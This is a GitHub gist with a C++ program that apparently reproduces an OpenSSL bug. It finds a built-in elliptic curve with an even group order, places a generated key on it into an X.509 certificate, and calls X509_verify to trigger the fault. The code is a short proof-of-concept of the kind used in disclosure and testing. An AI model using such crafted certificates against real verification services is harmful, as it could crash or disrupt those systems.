Skip to content

Instantly share code, notes, and snippets.

@agustingianni
Created January 7, 2021 12:56
Show Gist options
  • Save agustingianni/31a0491fffb8bdfab35ef3591f1fa6ae to your computer and use it in GitHub Desktop.
Save agustingianni/31a0491fffb8bdfab35ef3591f1fa6ae to your computer and use it in GitHub Desktop.
#include <cstdio>
#include <cassert>
#include <vector>
#include <optional>
#include <openssl/x509.h>
std::optional<EC_builtin_curve> EC_get_even_curve()
{
// Get the builtin curves.
size_t count = EC_get_builtin_curves(nullptr, 0);
std::vector<EC_builtin_curve> curves(count);
EC_get_builtin_curves(curves.data(), count);
// Find a curve that has an even order.
for (auto curve : curves)
{
auto eckey = EC_KEY_new_by_curve_name(curve.nid);
auto group = EC_KEY_get0_group(eckey);
auto ctx = BN_CTX_new();
auto order = BN_new();
EC_GROUP_get_order(group, order, ctx);
if (!BN_is_odd(order))
return curve;
}
return {};
}
std::optional<X509 *> GenerageX509Certificate()
{
// Find the right elliptic curve.
auto curve = EC_get_even_curve();
if (!curve)
{
printf("Could not find a curve with an even group order.\n");
return {};
}
// Generate an elliptic curve key on the special curve.
auto eckey = EC_KEY_new_by_curve_name(curve->nid);
if (!eckey)
{
printf("Could not create a key.\n");
return {};
}
// Generate the key.
if (!EC_KEY_generate_key(eckey))
{
printf("Could not generate a key.\n");
return {};
}
// Create a generic key and assign our eckey to it.
auto pkey = EVP_PKEY_new();
EVP_PKEY_assign_EC_KEY(pkey, eckey);
// Create a certificate.
auto cert = X509_new();
assert(X509_set_pubkey(cert, pkey) && "Could not set the new pk.");
// Sign the certificate with a normal key, otherwise we would trigger the bug.
{
auto eckey = EC_KEY_new_by_curve_name(NID_secp112r1);
EC_KEY_generate_key(eckey);
auto pkey = EVP_PKEY_new();
EVP_PKEY_assign_EC_KEY(pkey, eckey);
assert(X509_sign(cert, pkey, EVP_sha256()));
}
return cert;
}
int main(int argc, char **argv)
{
auto cert = GenerageX509Certificate();
auto pubkey = X509_get0_pubkey(*cert);
X509_verify(*cert, pubkey);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment